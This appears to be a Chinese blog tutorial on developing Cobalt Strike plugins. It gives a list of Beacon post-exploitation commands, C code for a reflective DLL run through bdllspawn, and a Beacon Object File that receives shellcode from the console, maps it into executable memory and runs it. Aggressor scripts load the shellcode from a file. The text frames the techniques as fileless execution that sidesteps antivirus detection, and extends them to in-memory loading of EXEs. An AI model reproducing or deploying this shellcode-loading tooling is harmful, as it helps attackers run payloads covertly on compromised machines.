轻松学会cobalt strike插件开发

Cobalt Strike简介

Cobalt Strike是一款美国RedTeam开发的渗透测试神器,常被业界人称为CS也被称为CS神器,在内网渗透中使用的频率较高。最近这个工具大火,成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能,是一款基于Java的渗透测试神器。

Cobalt Strike常用命令如下:

  1. help: 查看可用命令。
  2. getuid: 获取当前用户的权限。
  3. getsystem: 获取system权限。
  4. getprivs: 获取当前beacon里面的所有权限(这个用户现在能干嘛)。
  5. net domain_trusts: 列出域之间的信任关系。
  6. net logons:查看现在在登录的用户。
  7. net share:查看共享。
  8. shell xxx: 在命令行中执行xxx命令。
  9. powerpick xxx:不通过powershell来执行命令

插件开发

直接步入主题,先讲cs的插件开发RDI(ReflectiveDLLInject),cs提供bdllspawn方法来来反射dll执行代码。同时官方也提供了相关的使用文档和demo示例。Functions

我们直接下载提供的vs模版项目https://codeload.github.com/stephenfewer/ReflectiveDLLInjection/zip/refs/heads/master

之后就很简单了,vs打开项目直接编辑ReflectiveDll.c进行代码编写,我们这里接收命令行参数来进行弹窗打印

//===============================================================================================//

// This is a stub for the actuall functionality of the DLL.

//===============================================================================================//

#include "ReflectiveLoader.h"

#include <string>

#include <shellapi.h>

#pragma comment(lib, "Shell32.lib")

using namespace std;

std::string szargs;

std::wstring wszargs;

std::wstring wsHostFile;

int argc = 0;

LPWSTR* argv = NULL;

extern HINSTANCE hAppInstance;

wstring StringToWString(const string& str)

{

int length;

length = MultiByteToWideChar(CP_ACP, 0, str.c_str(), -1, NULL, 0);

wchar_t* wide_char = new wchar_t[length];

MultiByteToWideChar(CP_ACP, 0, str.c_str(), -1, wide_char, length);

wstring wstr(wide_char);

delete[] wide_char;

return wstr;

}

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )

{

BOOL bReturnValue = TRUE;

switch( dwReason )

{

case DLL_QUERY_HMODULE:

if( lpReserved != NULL )

*(HMODULE *)lpReserved = hAppInstance;

break;

case DLL_PROCESS_ATTACH:

hAppInstance = hinstDLL;

printf("C++ ReflectiveDLL\n");

if (lpReserved != NULL) {

szargs = (PCHAR)lpReserved;

wszargs = StringToWString(szargs);

argv = CommandLineToArgvW(wszargs.data(), &argc);

}

MessageBox(NULL, argv[1], L"测试", MB_OK);

fflush(stdout);

ExitProcess(0);

break;

case DLL_PROCESS_DETACH:

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

break;

}

return bReturnValue;

}

写完之后编译dll,还需要使用bdllspawn来调用,redll.dll就是我们编写的dll名字,$args = substr($0, 2);为我们传入的参数

alias redll {

$args = substr($0, 2);

bdllspawn($1, script_resource("redll.dll"),$args, "dll", 5000, false);

}

直接导入编写好的插件执行

被提示远程线程注入了,原生cs的行为特征可能会触发杀软的主动防御,我们点允许就执行成功了,实现了无文件落地的执行dll功能。代表插件有Ladon。

想要RDI不被拦截我们可能需要更加深入的研究cs的代码机制,进行修改,但是这样就会变的更加繁琐。所以CS还有一个插件方法,BOF(Beacon Object File)

BOF介绍

的支持是在CobaltStrike4.1版本中新引入的功能。BOF文件是由c代码编译而来的可在Beacon进程中动态加载执行的二进制程序。无文件执行与无新进程创建的特性更加符合OPSEC的原则,适用于严苛的终端对抗场景。低开发门槛与便利的内部Beacon API调用与使得BOF特别适合后渗透阶段攻击工具的快速开发与移植。

跟RDI一样关于BOF,CS也提供了相关的文档进行解释和开发介绍

BOF C API

看不懂英文的兄弟请直接翻译,我这边讲的开发内容非常基础,想要更加深入的开发还是直接对照API文档来进行探索。

回到主题,BOF开发CS同样提供了相应的开发模版,我们只需要下载项目https://codeload.github.com/Cobalt-Strike/bof-vs

下载的压缩包需要解压到 C:\Users\你的用户名\Documents\Visual Studio 2022\Templates\ProjectTemplates

然后重启vs,新建BOF项目

然后就可以在bof.cpp进行代码编辑啦

#include <Windows.h>

#include "base\helpers.h"

#ifdef _DEBUG

#include "base\mock.h"

#undef DECLSPEC_IMPORT

#define DECLSPEC_IMPORT

#endif

extern "C" {

#include "beacon.h"

DFR(KERNEL32, GetLastError);

#define GetLastError KERNEL32$GetLastError

void go(char* args, int len) {

DFR_LOCAL(KERNEL32, GetSystemDirectoryA);

DFR_LOCAL(KERNEL32, CloseHandle);

DFR_LOCAL(KERNEL32, CreateMutexA);

DFR_LOCAL(KERNEL32, CreateProcessA);

DFR_LOCAL(KERNEL32, GetProcAddress);

DFR_LOCAL(KERNEL32, VirtualAlloc);

DFR_LOCAL(KERNEL32, VirtualFree);

DFR_LOCAL(KERNEL32, LoadLibraryA);

DFR_LOCAL(KERNEL32, ReleaseMutex);

DFR_LOCAL(KERNEL32, CreateFileA);

DFR_LOCAL(KERNEL32, GetFileSize);

DFR_LOCAL(KERNEL32, ReadFile);

DFR_LOCAL(KERNEL32, VirtualProtect);

char* sc_ptr;

SIZE_T sc_len;

DWORD pid;

datap parser;

BeaconDataParse(&parser, args, len);

sc_ptr = BeaconDataExtract(&parser, NULL);

DWORD dataSize = BeaconDataLength(&parser);

DWORD shellCodeLength = dataSize - (sc_ptr - parser.buffer);

if (sc_ptr == NULL) {

BeaconPrintf(CALLBACK_ERROR, "Error: Failed to sc_ptr\n");

return;

}

LPVOID pMemory = VirtualAlloc(NULL, 900000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (pMemory == NULL) {

BeaconPrintf(CALLBACK_ERROR, "Error: Failed top Memory\n");

return;

}

DWORD old = 0;

if (!VirtualProtect(pMemory, 900000, PAGE_EXECUTE_READWRITE, &old)) {

BeaconPrintf(CALLBACK_ERROR, "Error: Failed to old\n");

return;

}

for (int i = 0; i < shellCodeLength; ++i) {

reinterpret_cast<unsigned char*>(pMemory)[i] = sc_ptr[i];

}

typedef void(*SHELLCODE)();

SHELLCODE sc = reinterpret_cast<SHELLCODE>(pMemory);

sc();

VirtualFree(pMemory, NULL, MEM_RELEASE);

}

}

#if defined(_DEBUG) && !defined(_GTEST)

int main(int argc, char* argv[]) {

bof::runMocked<>(go);

return 0;

}

// Define unit tests

#elif defined(_GTEST)

#include <gtest\gtest.h>

TEST(BofTest, Test1) {

std::vector<bof::output::OutputEntry> got =

bof::runMocked<>(go);

std::vector<bof::output::OutputEntry> expected = {

{CALLBACK_OUTPUT, "System Directory: C:\\Windows\\system32"}

};

ASSERT_EQ(expected.size(), got.size());

ASSERT_STRCASEEQ(expected[0].output.c_str(), got[0].output.c_str());

}

#endif

我们需要对我们使用的函数按照他给出的模版进行导入,就像下面的示例一样

DFR_LOCAL(KERNEL32, GetSystemDirectoryA);

DFR_LOCAL(KERNEL32, VirtualAlloc);

DFR_LOCAL(KERNEL32, VirtualFree);

DFR_LOCAL(KERNEL32, VirtualProtect);

上面的示例代码是从CS控制台接收shellcode,进行动态执行。用到了几个BOF c API

BeaconDataParse(&parser, args, len); //准备一个数据分析器以从指定的缓冲区中提取参数。

sc_ptr = BeaconDataExtract(&parser, NULL);//接收参数

DWORD dataSize = BeaconDataLength(&parser);//这边是计算data数据大小,我们用来计算shellcode

BeaconPrintf(CALLBACK_ERROR, "Error: Failed to old\n");//打印到CS控制台

然后其他代码就是正常的shellcode加载代码,光这样我们是无法直接从cs控制台获取shellcode的,所以我们还需要一个插件来读取指定文件的shellcode。

alias run12 {

local('$handle $data $args $sc_data');

$barch = barch($1);

$handle = openf(script_resource("bof.obj"));

$data = readb($handle, -1);

closef($handle);

$sc_handle = openf($2);//读取文件数据

$sc_data = readb($sc_handle, -1);

closef($sc_handle);

$args = bof_pack($1, "b",$sc_data);

beacon_inline_execute($1, $data, "go", $args);

}

这边我们用到了bof_pack,相关文档如下

Functions

还有beacon_inline_execute

Aggressor Script and BOFs

$sc_handle = openf($2);//读取文件数据

$sc_data = readb($sc_handle, -1);

closef($sc_handle);

从cs命令行把读取到的文件内容传递给$sc_data,这边传递的为shellcode

$args = bof_pack($1, "b",$sc_data);

beacon_inline_execute($1, $data, "go", $args);

把shellcode传入到我们的obj项目的go方法也就是inline_execute

写完之后我们把项目编译成obj,cna脚本加载到我们的cs




然后我们cs控制台执行

shellcode不落地执行成功,以此延伸PEloader。直接内存不落地加载EXE文件

但是有一个坑点就是,如果我们执行的exe大于10M就会引发报错,我们需要在profile中设置tasks_max_size的值

参考文档:Profile Language

以上就是CS插件开发的基础知识,讲的不清楚的地方请自行查阅官方文档,每一步的文档我都标注出来了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值